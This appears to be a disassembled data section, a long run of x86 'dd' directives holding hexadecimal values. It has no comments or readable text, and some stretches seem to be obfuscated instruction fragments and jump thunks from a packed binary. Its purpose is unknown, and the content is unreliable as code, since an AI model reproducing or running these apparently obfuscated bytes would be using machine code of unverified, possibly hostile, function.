		dd 6C839F1Ch, 845BD880h, 1764806Ch, 86406C84h, 5743A813h
		dd 3A480F5Eh, 0ECAE180Bh, 54BD862Dh, 0AED67924h, 0E2363B20h
		dd 71CFF8AEh, 77F49F40h, 0ED5DB145h, 9981D6DCh,	73000002h
		dd 0C12717E4h, 8C6AE819h, 56B0A229h, 1CFA788Bh,	530333BEh
		dd 59D4AA77h, 14997395h, 0EC67C026h, 0A52C886Eh, 46BC15B1h
		dd 7A40A5F5h, 0C4BAC1DCh, 348CE960h, 761D950h, 3837E7CCh
		dd 0F1C72E67h, 65CE4B01h, 0F8613718h, 54BF0Bh, 4850A900h
		dd 494DD07Ah, 86985CE6h, 855BD0ABh, 0EA83B39Ah,	5C46DBA6h
		dd 88EC407Eh, 0F3D8532Ah, 2350C58Dh, 97FA84F7h,	0FE226D86h
		dd 0A0F43F66h, 0BEE4CDA4h, 8698CE3Dh, 3F9DFBA4h, 3C15D55Eh
		dd 0BF0B8664h, 0F3A60054h, 0BE1A6348h, 0B39056DDh, 0CDCB2C6Ah
		dd 6D368698h, 8EA0B0Fh,	0F8208075h, 6B4DEAC2h, 52A5D1A8h
		dd 0BF8CC55Eh, 0B1AF8DD4h, 39B014ECh, 0C55D7EF1h, 5B1D6B8Ch
		dd 6AC1A656h, 1351C67h,	0C502F645h, 0DFDB2C8Ch,	8CC5025Ch
		dd 1CFEDA45h, 0A9ED367Dh, 86A13E8Ch, 0F0D9226Dh, 0F14B3182h
		dd 0AEF79892h, 0F14B0768h, 4BA1F292h, 0B73E9E7Ah, 9185EE87h
		dd 92F14B1Eh, 38B1158Bh, 5E3A054Eh, 51B274FFh, 48C1A57Bh
		dd 4B4DBAFEh, 49D092F1h, 6C9D99E2h, 558CCD86h, 9269CAC8h
		dd 0CF50991Dh, 5D399FE4h, 248066D4h, 16F040ADh,	90E42F9Bh
		dd 927FCC20h, 7B1E991Dh, 8EAFEB30h, 7B92F9CEh, 9175C328h
		dd 583CDA18h, 3D54F85Ch, 0C6BA02C5h, 806641A8h,	0DC225F41h
		dd 62ECC065h, 5EE5B416h, 0DC0C0175h, 0BE1A9925h, 0B09357DEh
		dd 6397FE64h, 0A575E810h, 0FB4F96F9h, 0E568CEAAh, 0B6EACE05h
		dd 0A575E849h, 8FE75D0h, 887EF556h, 68DE40C6h, 6BEB33D9h
		dd 55D3EE89h, 20A1h, 2E886800h,	0FC0DD5A3h, 70F3D90Ah
		dd 6CD41966h, 0F0260F80h, 806D0B7Fh, 8CD3396Ah,	7, 0D5196665h
		dd 0C0ED806Ch, 8D89D259h, 7A492A24h, 0A664C24Dh, 1A6348F3h
		dd 196AAE16h, 381C59F6h, 72D576F8h, 0D3E6180h, 0AD5C87F5h
		dd 995166ACh, 73000000h, 0C12717E4h, 8C6AE819h,	56B0A229h
		dd 1CFA788Bh, 530333BEh, 59D4AA77h, 14997395h, 0EC67C026h
		dd 0A52C886Eh, 46BC15B1h, 7A40A3F5h, 0C0BAC1DCh, 8D89D259h
		dd 7A492A24h, 0A664C24Dh, 376348F3h, 807230C3h,	0AEC2632Ch
		dd 3AD5D4Dh, 46388Fh, 11CE0000h, 4A9670E2h, 0F85DBBBBh
		dd 3C25C373h, 0BE90FCFh, 0CC045486h, 2E2CA107h,	73E36EC8h
		dd 0B5B93295h, 0C072FB53h, 0A6090D64h, 137A40A2h, 1135CB72h
		dd 0BA000000h, 820FED4Bh, 367A2BB6h, 652BBCD8h,	0BCB78566h
		dd 1AEC1FC4h, 9169E044h, 13D75C3Fh, 9056DBBDh, 15D5583Eh
		dd 9650DDB3h, 6CDA2930h, 0EE58D3AAh, 79C13028h,	6C6D683Ah
		dd 3C890000h, 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 51243489h, 0C181E189h, 4, 8704E983h,	895C240Ch, 0B850241Ch
		dd 32FD1832h, 0D15FA2BEh, 8BC63134h, 0C4812404h, 4, 8904EC83h
		dd 4812424h, 424h, 0EC835B00h, 24348904h, 8B08438Fh, 8956241Ch
		dd 4C681E6h, 83000000h,	348704C6h, 348B5C24h, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 309EE95Ch, 2C2CFFFDh
		dd 0B81F2E01h, 62C4C75h, 0C88BC503h, 153E9h, 0D9EC8000h
		dd 95ECE75Dh, 715893DAh, 0B6CFDF06h, 5D54FDBEh,	0ECA43636h
		dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h
		dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h
		dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h
		dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h
		dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h
		dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h,	0AE29B0F3h
		dd 38h,	3Ch, 40h, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 26h dup(0)
		dd 1F8EE9h, 506F6800h, 29E9062Ch, 68FFFD2Fh, 62C515Fh
		dd 0FD2F1FE9h, 527168FFh, 15E9062Ch, 68FFFD2Fh,	62C535Fh
		dd 0FD2F0BE9h, 541C68FFh, 1E9062Ch, 68FFFD2Fh, 62C54ECh
		dd 0FD2EF7E9h, 55C668FFh, 0EDE9062Ch, 68FFFD2Eh, 62C5688h
		dd 0FD2EE3E9h, 5A6268FFh, 0D9E9062Ch, 68FFFD2Eh, 62C5AD1h
		dd 0FD2ECFE9h, 5BC068FFh, 0C5E9062Ch, 68FFFD2Eh, 62C5F26h
		dd 0FD2EBBE9h, 629768FFh, 0B1E9062Ch, 68FFFD2Eh, 62C65DEh
		dd 0FD2EA7E9h, 670B68FFh, 9DE9062Ch, 68FFFD2Eh,	62C6784h
		dd 0FD2E93E9h, 67DE68FFh, 89E9062Ch, 68FFFD2Eh,	62C6830h
		dd 0FD2E7FE9h, 698168FFh, 75E9062Ch, 68FFFD2Eh,	62C6A75h
		dd 0FD2E6BE9h, 6C6A68FFh, 61E9062Ch, 0FFFFFD2Eh, 45A39360h
		dd 8EE6C9Dh, 0D23426ADh, 0A046F407h, 0DF8F4FC2h, 0D5583E03h
		dd 0A8258761h, 60EB4CAAh, 39B014F2h, 0C2309135h, 7A409F71h
		dd 0C43E4558h, 348CE960h, 0FF3D950h, 0F664ED49h, 0EB3C8514h
		dd 6CEF4CAFh, 0ACEAB580h, 806CEF4Bh, 69E76ECEh,	22F6DF26h
		dd 98F5C34Ah, 45BEB09Ah, 0B2741F7Ah, 9620017Eh,	0D74FCD86h
		dd 0B3B2955Fh, 3DAD74h,	4B860000h, 0B08475EDh, 93F843D6h
		dd 8708EE4Ah, 6CEF2093h, 0BF868980h, 7CBC98CBh,	7A45EF2Ah
		dd 387CCA55h, 8695EFBBh, 3F919533h, 9E5003F1h, 0F8DCF02Eh
		dd 0B33849ABh, 0BEE174h, 0C44A0000h, 0BF11E960h, 3C9254D9h
		dd 0B769D158h, 0D89C5ED7h, 806CEB9Ch, 0C12AA37Bh, 0A81E9777h
		dd 0B1D9357Bh, 0B846B228h, 9E7E985Ch, 0EF6ACE17h, 3F7BAA1Ch
		dd 806D05BCh, 0C5137A25h, 0B9029775h, 0D6D4265Ch, 0E3347A45h
		dd 963744B7h, 96E2AD86h, 0F517C748h, 34C71224h,	0ED361172h
		dd 0D6253C84h, 0A5E53310h, 80718CB8h, 8B6DB6D9h, 2D53B835h
		dd 0A69F68C8h, 0E460B432h, 1C21AC02h, 0AD5DA88Bh, 0DA5D62A8h
		dd 0AB00001Ch, 799F5FACh, 0C42210E1h, 8E68EA61h, 54B2A053h
		dd 0ABFB7BF6h, 810CE22Fh, 5CD1AB4Dh, 149F789Eh,	0ED64C026h
		dd 0BEE4CD69h, 7A409F3Dh, 0C46289A4h, 8D6BEB66h, 39B2A029h
		dd 89D259C0h, 45EF598Dh, 0AD1D067Ah, 95EFEA49h,	0C066E286h
		dd 0B3E6AE36h, 0EC4474h, 0C4E10000h, 0BF11E960h, 0A90F54D9h
		dd 2CE244CDh, 2D66C04Bh, 0C302F6C2h, 0B81CED75h, 50553DEh
		dd 806CEAF7h, 5B68C4A0h, 0CD73C4E3h, 0AA4C8EE9h, 0E725BD2h
		dd 51035F30h, 0EF53B95Dh, 0FEC76C2Dh, 94386B95h, 37EE2C6Bh
		dd 0A7F5DC51h, 46710F63h, 0A797F87Ah, 66FD445h,	722B3210h
		dd 0A18A9580h, 97FC71D7h, 71A0EE69h, 1E7ADAF8h,	0D55A38DEh
		dd 0DD9D6AABh, 95855971h, 8CC2E822h, 1F90868Fh,	8A8CC2E8h
		dd 2155BE99h, 8CC2E7CEh, 0FC01683Bh, 0AD5C9BD1h, 0EA0B5C52h
		dd 9B00001Bh, 698F4FBCh, 34D200F1h, 0FE18DA51h,	44A29063h
		dd 0BBEB6BE6h, 0F17CD21Fh, 4CC19B7Dh, 48F688Eh,	0DD5430D6h
		dd 0AED4BD19h, 7A409E4Dh, 0C41299B4h, 4AADE966h, 0B7806CEFh
		dd 385185ECh, 27888ED7h, 92806CEFh, 0EF268981h,	8093806Ch
		dd 0FF76D6B4h, 60C4F47Fh, 20EFD64h, 8C623BB1h, 8AD33AFDh
		dd 62C44F2Eh, 8F84F723h, 226D806Ch, 4B0DFDDBh, 91F87AF3h
		dd 0A7ED66C7h, 0BA222AE7h, 934CA809h, 0EE55C4BFh, 799185h
		dd 355E7A45h, 46A64105h, 5C24FB13h, 5FB472F9h, 0B1FA9F79h
		dd 0E63D2454h, 0B7E021E2h, 0A0160C61h, 0C73CFC52h, 6930EA5Ch
		dd 93F309E7h, 4C9A1467h, 6E92FD49h, 0B198801Ah,	2B032E54h
		dd 87514325h, 0F6DDAD26h, 82EBB4A2h, 0D12250B9h, 404F759Eh
		dd 0B49F6BE6h, 0C3A1F798h, 1715C76Bh, 0A1EF62C0h, 0ACD0944Ah
		dd 0F9D14566h, 0C9127D62h, 6AD13FC7h, 8DEB6B5Dh, 0F5502049h
		dd 0E0441A7Eh, 689FD469h, 8E04EAAAh, 1AD839h, 5DAEB500h
		dd 12E37F99h, 0EC67C620h, 0A251886Eh, 7DF056B0h, 0EC31A9F9h
		dd 0B553830Eh, 7A9C5ED3h, 0CE282AA1h, 0D377E76Eh, 9D3384F2h
		dd 879E7A40h, 0E960C47Ch, 55DEBB11h, 0EB540A08h, 0BB8C7A45h
		dd 95F4FC7Fh, 5EBAE586h, 365F9F80h, 548D8B62h, 0B9EA5CA7h
		dd 37F378D3h, 0F767F8DCh, 0CD169D7Ch, 0AC1A936Bh, 2D9D10EAh
		dd 54B99FE6h, 6EDC282Eh, 52848F80h, 30311E1Eh, 0C19A7E46h
		dd 810CEE4Ah, 0E148D1ABh, 706E42B5h, 9DE4AF54h,	47EC42B0h
		dd 80934E49h, 0D32452BBh, 3E5A9993h, 0D9B30755h, 893EDE40h
		dd 0B894B289h, 0C9AC7451h, 49AFE442h, 0AAF33E64h, 8D965472h
		dd 0D874D0A0h, 44CF6E88h, 0AD678F43h, 1E7A89F7h, 0DCB5B980h
		dd 0C64B2D8Bh, 0C36F5FD0h, 0DFDB4A60h, 60C36F5Ch, 0A5F3DA45h
		dd 5DEE67C7h, 0D95C132Ch, 0EABC0387h, 9B000019h, 698F4FBCh
		dd 34D200F1h, 0FE18DA51h, 44A29063h, 0BBEB6BE6h, 0F17CD21Fh
		dd 4CC19B7Dh, 48F688Eh,	0DD5430D6h, 0AED4BD19h,	7A409C4Dh
		dd 0C41299B4h, 3011E960h, 2309F860h, 26BD049h, 45E9B614h
		dd 0C476197Ah, 86130C5Fh, 8B8FD03Dh, 8695F628h,	5BAA8E91h
		dd 0B6890E72h, 88281A9Ah, 4B666CACh, 0C649806Fh, 0EA287110h
		dd 8CBF7F89h, 0C9C92F70h, 2117C7BCh, 23D20EEAh,	1DA673D5h
		dd 0E856030h, 200D6BB8h, 41117CF2h, 0B6702323h,	95FE45D4h
		dd 92E617C3h, 252A47B3h, 0D8B8296Ah, 0BD9BF100h, 4F2F89D2h
		dd 1AF214C6h, 0C33140B6h, 7C47DC3Fh, 64D7A0CFh,	388F0304h
		dd 192Dh, 42F003D8h, 894DBCA4h,	0D1058E6Fh, 15D92A37h
		dd 0A2901DF3h, 0AB09D6F2h, 78D23426h, 0C4A741F5h, 8D698F4Fh
		dd 1372D604h, 409A94E7h, 0DD607D7Ah, 11E960C4h,	2357DEBBh
		dd 806CEED0h, 260F5639h, 29A27BDDh, 0BAA67251h,	4094FF4Bh
		dd 45E0D640h, 669C817Ah, 8695FD15h, 0D1A92084h,	0EA355EF2h
		dd 0DD563781h, 99E47FFFh, 43A81386h, 238BFC5Dh,	0FEDAA12Ch
		dd 3B6B6397h, 0C34C806Fh, 0E1157E17h, 8CBF6F8Eh, 0CCCC287Bh
		dd 3F81BB19h, 0B6EC55C4h, 8A022445h, 0B398E3ACh, 0DAFDEF47h
		dd 3B8F9083h, 2A73B861h, 410C1ECh, 56BFE08Ah, 0B302030Dh
		dd 3C83AEF5h, 0A6A27AD8h, 0ABF84EC5h, 99E069CDh, 52DBB355h
		dd 0CAC18CD1h, 0DCE327A3h, 185Dh, 12C03328h, 599D6CF4h
		dd 0E155DEBFh, 2529DA07h, 72E06DC3h, 0FB59A622h, 4822C476h
		dd 14F711C5h, 0DDB95F9Fh, 6342E654h, 409AC437h,	0ED102D7Ah
		dd 11E960C4h, 0F81DC830h, 8C0A764Ah, 0E04BCEA8h, 0B57F9F9Bh
		dd 7F207A45h, 16C296FFh, 0F4C003E7h, 0B5FBEB6Bh, 97102A31h
		dd 6DCF2D9Eh, 5A3E07ACh, 54BF0B82h, 0E1E92D00h,	31806FD3h
		dd 398DBBCFh, 0C03B7AFDh, 0F03C678Ch, 82D6A594h, 0BEE2CB54h
		dd 0DE7C42BBh, 0E8684CD3h, 0F142B099h, 0D88CC071h, 912161B7h
		dd 0A19F8FCh, 0DBDF248Fh, 1A624453h, 765F2B74h,	0E640CBA2h
		dd 2CED4FADh, 7FDABE87h, 83E93A8Ch, 583974A2h, 46AF208Bh
		dd 0DBCCDF50h, 7359CA2Ch, 8751BAE5h, 4AACAE27h,	99CA7BF2h
		dd 1A0D43B6h, 1783C394h, 0D5020000h, 6D23426h, 0C4A147F7h
		dd 0F0698F4Fh, 5735D303h, 904818DAh, 0F260ED43h, 3F3FB214h
		dd 41F57ED9h, 8C4EC7A7h, 0DA5D5928h, 0C77A4099h, 60C4872Eh
		dd 7FBB8CE9h, 806CEEFCh, 0EA5EBAE5h, 0F9C26930h, 7432C31Fh
		dd 0AED4391Fh, 7A4923C9h, 755EA7E8h, 993CAE01h,	23081B86h
		dd 993C84F7h, 0D6226D86h, 0EF6A96FFh, 893D5003h, 936BC92Fh
		dd 0AB9CD81Ah, 6A86997Bh, 0A3528EA8h, 987C9A58h, 0B7E33411h
		dd 86997D44h, 5696E2ADh, 755EE5B4h, 75B12A01h, 0FFC44F80h
		dd 0B2E66A96h, 6FFF459h
		dd 75845C32h, 0B98EE028h, 5EEC8C31h, 3C24C27Ah,	76EE540h
		dd 8009EDA3h, 5A079663h, 0B6198DADh, 16C1h, 0F664974Ch
		dd 3539C810h, 7DF17AD3h, 894DBE9Bh, 0D604896Fh,	27854A86h
		dd 0EC4EA8AAh, 0B00BED61h, 79DD3B3Bh, 8FE642F0h, 4099288Bh
		dd 49FC917Ah, 89D259C0h, 4923A68Dh, 1ACC3C7Ah, 638345A1h
		dd 0FD2F8FDEh, 0EDA915B7h, 0E5CE518Fh, 0A2BFBB13h, 26C47651h
		dd 0B0E6CF6Ch, 8699C553h, 9815F741h, 0DFDA6BCh,	99C489E9h
		dd 61C54386h, 0B00E0FD1h, 6C2B74h, 99E20000h, 99BD1A9Dh
		dd 0B89C8786h, 0D552C0B7h, 0EF358A88h, 8B94806Ch, 47AAD63Fh
		dd 0E4F4F83Dh, 81FE3206h, 4D806C74h, 5ED5B000h,	0B042E47Ah
		dd 7ADD5D30h, 35CAh, 18666300h,	83806CEFh, 7F40AD16h, 0EE8FE016h
		dd 297A806Ch, 0EF73CFC3h, 335C7A45h, 0E308A6EAh, 7295E61Ch
		dd 137C8696h, 0C46F56EDh, 0BB1D74F0h, 0B69D6D9Eh, 59C0E162h
		dd 0A18D89D2h, 0CE7A45E6h, 4B23E545h, 107910C2h, 95F791E2h
		dd 0C1177886h, 2E8F8B63h, 0A5EC5AA5h, 9BF17AD3h, 0AAE867C5h
		dd 8695F849h, 0D109EFB0h, 0E361D920h, 317FD155h, 9B2722D0h
		dd 0FF5DBB14h, 42A4961Fh, 0C58763EAh, 9086EF54h, 806F16F2h
		dd 0E865C7D5h, 8467351Eh, 168BB0Fh, 54A7D324h, 0BD8CBF38h
		dd 0A04686D2h, 16F568C4h, 0D83AAA42h, 67F509F1h, 3CC4B5ADh
		dd 0DFBF889Eh, 3F8B00DBh, 0AF498DD4h, 2EE046CFh, 3B66C033h
		dd 64C00125h, 2F8F69EDh, 5EFB5DA6h, 0A2F6DDADh,	339D7CDEh
		dd 765702E4h, 5EA0D112h, 37D74EB2h, 0A5D13A05h,	0FECF39E9h
		dd 0F78B5721h, 0F92A9C11h, 0F39CBA9Eh, 0D5C12A43h, 0B1F5262h
		dd 6DDD5637h, 13792A26h, 2452D9BDh, 0B1F52D3h, 0BC0A553Eh
		dd 3D8D00DAh, 0BF0B805Bh, 37F300D9h, 887EF351h,	2CF2665Bh
		dd 36E88E96h, 0DF563682h, 0CA431BF9h, 870EEE08h, 0CE2155BEh
		dd 430B1F52h, 4D8660EDh, 73A78C97h, 0B1F5300h, 0EE52A6E9h
		dd 0FDC66D2Ch, 802E6494h, 2243C099h, 0FB90D2D6h, 543F04F7h
		dd 7FF0260Fh, 9D114837h, 48381699h, 0BC908311h,	0A74185D3h
		dd 93654EC7h, 9DF6B03Dh, 3E9ACBBFh, 8080D45Fh, 21483833h
		dd 1B2CF244h, 0EE08CA43h, 73BD860Dh, 0E1918E2Eh, 5327753Ch
		dd 0D4921FFDh, 0D031E772h, 0F592741h, 6E2086E1h, 0A5288EF2h
		dd 0C3A78EC5h, 473DC0A5h, 0CDBB0B5Bh, 2063D74Fh, 2225A5EBh
		dd 6007FA14h, 9830F614h, 7C62E390h, 0A6E2FC4h, 0DD5D3B4h
		dd 0FED90AFCh, 4AC19A7Ch, 0CC3F1AFCh, 0DC42E87Ah, 0D8BE10EBh
		dd 0AACE6B69h, 57CBA71h, 6AB59491h, 5235D303h, 0EEAB61D9h
		dd 303A7845h, 5F1B212Dh, 0D109EF34h, 2F0D4620h,	225C855Bh
		dd 2D66C04Bh, 0CCA264C2h, 6AA8F941h, 27713F09h,	0CE52AFF0h
		dd 8B8DE258h, 52D9B293h, 42B3AF09h, 219914F6h, 0B05696E2h
		dd 444A78D4h, 5154C5D5h, 7EDEB076h, 0A3E833F7h,	911CFE5Ah
		dd 71371699h, 6C908327h, 0B6A3A21Ch, 0DA785C8Fh, 22AB0344h
		dd 387D6730h, 33B5D3D8h, 5C000000h, 0D1A92084h,	4BADA6F2h
		dd 7200F745h, 9E7E7065h, 0AE8CC17h, 8E4C3AB1h, 5F5BA00Bh
		dd 7A45041Fh, 4AB69F80h, 25CF8C9Ch, 0EF6F4DFEh,	1CF8h
		dd 624B4900h, 6CEEC334h, 17652E80h, 0ED5DD6B1h,	0E4C16A2Fh
		dd 45DD1CBEh, 1AD84B7Ah, 9515B991h, 96E26BC3h, 0F5DE6534h
		dd 62F6BF8Bh, 4FAD7407h, 0F11A3066h, 0AE0A7A44h, 8FF941CCh
		dd 1E055EC2h, 0B785EC1Ah, 3C70E6A9h, 3307DDBBh,	2F74BF5Ah
		dd 20E383EBh, 127B2475h, 2F6ACDC9h, 0CC578171h,	0C7C918E8h
		dd 15BA514Fh, 2385D33Eh, 0B2E0CD76h, 7B4A1577h,	542C091Ah
		dd 13F579F0h, 4E3132BBh, 65B284F8h, 12E71EA1h, 0B9A60000h
		dd 0F26E884Ah, 5035D303h, 64FD1BDBh, 0E341A797h, 24BCEC6Eh
		dd 46F479DFh, 8B4BC6A0h, 0CD018A6Dh, 18DA532Bh,	4EA1D5BCh
		dd 0BB7A4095h, 1566139Ah, 0B806CF0h, 0F941CAADh, 2DEC4EAAh
		dd 0B979BD86h, 1E7A45D7h, 0EF482875h, 0B710F664h, 57A9D73Ch
		dd 45D6FAEAh, 0B6E3AB29h, 0D53C8C2Eh, 0F95D3387h, 20F2F370h
		dd 0FD31B389h, 1278EAh,	3DCE1500h, 0F203DF39h, 4CC7A640h
		dd 2F1688Eh, 0DD5036D0h, 4C914919h, 15F363EEh, 0DA3C3EB3h
		dd 0AE488A01h, 339747CEh, 94D32452h, 273E7A40h,	0D259C09Ch
		dd 0D6ED8D89h, 41D27A45h, 0B5449C64h, 0AFB6781h, 8B02DABCh
		dd 0FF76D6A2h, 91772999h, 16F4AA1Ch, 6EF22F9Bh,	2B2D02B8h
		dd 23FB5DF3h, 0A1F7DCAAh, 74E617C3h, 0D899AEFh,	0D9C7AEA8h
		dd 0D1C53F9Fh, 8696CD5Eh, 0DDD4D84Bh, 937147FFh, 0BCF0B647h
		dd 86968E3Eh, 0D7F036AAh, 9E78FA0Bh, 15F7B342h,	0A0D63F84h
		dd 8072C2EBh, 987845CEh, 9CF7B33Eh, 2B8355B8h, 0F656B0A2h
		dd 0DBB6397Dh, 70238CC2h, 9074CC29h, 52DBB319h,	41D8B206h
		dd 216591FAh, 79869F11h, 0F2B4399Fh, 0F29DBB91h, 0E66FCFA9h
		dd 0B33A9274h, 3F8415F7h, 1D2A0D6h, 6A358CC8h, 72FD2D9h
		dd 8ADDD1A1h, 1189h, 2E2CDF04h,	6DE110C8h, 0B5B9328Bh
		dd 0C1758653h, 0ECC4127h, 0DFBD825Eh, 0A406E052h, 68C32529h
		dd 319573E3h, 0B71EBAB8h, 4093F043h, 0B1C4D97Ah, 6CEF1C66h
		dd 9318F380h, 0DED841A3h, 0D330F67Dh, 0CD5A388h, 0FCD80BFFh
		dd 24296591h, 967A49h, 0F9C22DA4h, 0DFB8BE1Fh, 56B19254h
		dd 624B6FE4h, 0C8BE3596h, 0EF1C9F9Bh, 9A85806Ch, 0DB8769BEh
		dd 0D23B7B5Ch, 0ECEF53A4h, 7D5BE7Fh, 7DC82CA1h,	186h, 0D453C0F6h
		dd 3E624B6Dh, 18EC792Bh, 13CEAA82h, 0EFCD06E0h,	6C594BABh
		dd 0CF147F80h, 0A703F069h, 0A38A07E1h, 624B9A55h, 59AD463Eh
		dd 5CB77380h, 0B92AC350h, 59D5265Ch, 533C806Ch,	9E84CA05h
		dd 0A9A3E62Ah, 92DC1014h, 55C08D46h, 0E9626FD6h, 16D156C0h
		dd 0C334624Bh, 2E806CEEh, 0B2D31765h, 9B4C084Eh, 9884971Eh
		dd 64D4D70Bh, 0A99AFEDAh, 0DCDB7B75h, 47B77Dh, 0C0BC0000h
		dd 0EFF5B55h, 0D9006BB8h, 0EEEF4F4Bh, 0F927806Ch, 65FC1AB5h
		dd 1996AA8Dh, 0DEA56C89h, 0E8BBA1F7h, 0DF2C3583h, 13DC386Bh
		dd 61C4804Bh, 0EF49AAE8h, 0EFB0806Ch, 0C09A51A1h, 0C02BF6C9h
		dd 35D59E19h, 4Ah, 0D655C0BAh, 0EF4F4B6Fh, 3806CEEh, 859FBAD5h
		dd 6BA9E04Dh, 882548E2h, 88B39A8Bh, 8475ED4Bh, 0AC745DB0h
		dd 0A1E046B5h, 6CEF0275h, 5DA4EF80h, 0D29419FFh, 0C4A89BF1h
		dd 3781EA61h, 76F9DF54h, 0F961379Eh, 41C8AC08h,	7B75F86Bh
		dd 0B77DDCDBh, 2Dh, 0BED4BBCh, 95E32086h, 17DE6333h, 0EEEF4F4Bh
		dd 4FD0806Ch, 3E3A9266h, 30F6D15Ch, 4B4A85D3h, 0ED1CC480h
		dd 35D59E62h, 40h, 0D356C0BAh, 6CEF54A7h, 8BD2BD80h, 0BED4B40h
		dd 0B5E12086h, 806CEF42h, 0BF9DE4AFh, 0EED22056h, 9FE6806Ch
		dd 0A177E2B6h, 0E06311A4h, 5B2F7686h, 45B4AC08h, 994AAEE5h
		dd 1CC4804Bh, 0D59E62EDh, 0FFFE5535h, 59C0BAFFh, 0A68D89D2h
		dd 0CB7A4923h, 0C12A7358h, 993C62D5h, 0F0C44F86h, 0EB16BA12h
		dd 67652CC3h, 0C24F298Fh, 0F9997BFBh, 0D02357BCh, 0CE869925h
		dd 33ADC0C2h, 48AC9746h, 0DCA48192h, 0F533F77Ah, 0EB902431h
		dd 0C216717Dh, 0FBB3A7Eh, 8D0B8699h, 0C2D71999h, 561374B0h
		dd 0D8000000h, 6CEF1966h, 88248080h, 1FC9313h, 8A4893B9h
		dd 6C4B70CEh, 0C56E2B80h, 656997F8h, 51EFAC8Dh,	0CF3B7F5Dh
		dd 387A44C9h, 0D4AA0E57h, 0B5067C59h, 1C869525h, 48212573h
		dd 93870CE8h, 86952620h
		dd 0CBBF8689h, 0E72FBC98h, 66000000h, 10F42F3Ah, 0AD8BAF69h
		dd 9ED4BA2h, 0D8533480h, 117F1AFCh, 624429Dh, 45CEA935h
		dd 0E1CA137Ah, 0DC38B517h, 453CF6DCh, 8F4A2E7Ah, 0B49F14F1h
		dd 9DBB91F2h, 6CCFA9F2h, 351E77E7h, 95716EC1h, 0ECC85B86h
		dd 4026AD0Eh, 5FA40F8Ah, 71A63C5Bh, 12CEAA80h, 0E44107E3h
		dd 2A30046Fh, 0E3441C79h, 0AB0CEA68h, 68550105h, 60A3078Ah
		dd 0FBF8493Ch, 0E930B91Dh, 55DEBB11h, 0C8430A08h, 0C0AE869Dh
		dd 7EB38BCh, 37C61271h,	209387ECh, 8992ED00h, 8256BF86h
		dd 565AA32Ah, 0A78B67B8h, 63909ABFh, 0EF940733h, 52B4B084h
		dd 0EFF273FAh, 0C4A7320Bh, 0E23F9CEh, 75E20000h, 0A6B25486h
		dd 0A401E757h, 10C92F2Fh, 379573E3h, 0F0E8B8BAh, 12C04D23h
		dd 5F9F12F4h, 0E155DEB9h, 2C2EA707h, 7AFD3988h,	677A408Fh
		dd 454B274Eh, 94EDFA92h, 643A1E5Fh, 0AF228480h,	0D9A188DBh
		dd 9B0BA707h, 8B7AE603h, 0F3C5E485h, 0FED59566h, 91FA4C97h
		dd 0FA5273ABh, 0CEAAC373h, 0CE05E568h, 4A3BA5EAh, 66F7ADDh
		dd 6C7F9F10h, 119C7280h, 0BFE67AA9h, 6C7FF87Bh,	57BEE180h
		dd 51B401h, 85530000h, 0F5DCAA27h, 6C802E81h, 0A1889B80h
		dd 0ED4B984Bh, 0D7B18774h, 669CF942h, 7A45C910h, 441AECB7h
		dd 3E569E0h, 0F25020ABh, 5E588B7Fh, 869614DDh, 0B6705BC4h
		dd 961BF95Fh, 538DF3D0h, 883EBE5Eh, 0AB6EC82Ch,	17FF3B00h
		dd 0F8806F7Dh, 0C42CA797h, 0D84601Ch, 0CF0F56BDh, 66C03129h
		dd 6CEEBE02h, 75FE5980h, 3E60A8C1h, 0B82961F8h,	0C8D6F4Dh
		dd 1755EA7h, 806C50AEh,	0ABE02D1Bh, 0D3674357h,	5541AC88h
		dd 7A483AD0h, 0F345AEF1h, 345D911Ah, 0A3078A6Ch, 75DB1460h
		dd 7B5CDB6Bh, 13787h, 53C0AC00h, 4F4B6DD4h, 806CEEEFh
		dd 4B49F003h, 0C89E8480h, 8DD655C0h, 0EEFD7EA4h, 0BBE4806Ch
		dd 0E962925Dh, 16D156C0h, 7B752DA6h, 0B77DDCDBh, 4Fh, 225EFA5Eh
		dd 2063C736h, 0D62261D9h, 0B9454B1Dh, 0F95FE8E1h, 603597E5h
		dd 624B10DBh, 6CEEC334h, 70E82E80h, 7352A681h, 6CEEB707h
		dd 0CC771880h, 0D53E624Bh, 0F5995EF3h, 9768CBCFh, 0CE51806Ch
		dd 0C4509BEAh, 9E63EA61h, 1F35D5h, 0C0BA0000h, 4B6FD655h
		dd 6CEEEF4Fh, 49F00380h, 61C4804Bh, 454B63EAh, 0ACBA8C4Fh
		dd 0A25EBAA9h, 75ED4B11h, 0D823D009h, 0DB55AFFCh, 2BED7DDCh
		dd 46000000h, 16D156C0h, 0EEEF4F4Bh, 4FD0806Ch,	0C4804B84h
		dd 3080ED1Ch, 72FDDB56h, 4835D59Eh, 58000000h, 0EEB00377h
		dd 7619806Ch, 56C02122h, 3D88A2F4h, 89D0442Ah, 19624B4Eh
		dd 6CEE9A1Dh, 381C0780h, 6CEE7AF8h, 6ECEAA80h, 17989EE7h
		dd 82806CEFh, 274EBB91h, 4B804B3Ch, 0AB810AEDh,	75FC0DD5h
		dd 8761379Eh, 4B252E0Ah, 16C7AB45h, 395A8Eh, 791E0787h
		dd 0F29F85ECh, 76C335DFh, 0C04E1D7Bh, 27FFFFFEh, 89D259C0h
		dd 4923A68Dh, 82643C7Ah, 0C68BB0Fh, 90604DD6h, 5BB9BD34h
		dd 0ED2972B7h, 86993C8Ah, 265A2C77h, 86993CD7h,	9F6BE2BAh
		dd 10D65B39h, 70AFD716h, 0BD4755E5h, 0B0B3071Fh, 3384F2DBh
		dd 9E8698F8h, 96AA8F5h,	0F08698F8h, 73AB49AFh, 0B0DB01E3h
		dd 173974h, 66320000h, 806CEF19h, 40AD2480h, 2F9B16F0h
		dd 435490E4h, 0D3h, 0D259C020h,	0CBF48789h, 808C01E7h
		dd 785C89A6h, 0AC1DE115h, 998A7A45h, 8803E4BCh,	40CBAC4Ah
		dd 7398357Bh, 0E372D86Fh, 5FBD8409h, 0C36831EBh, 459BBCFAh
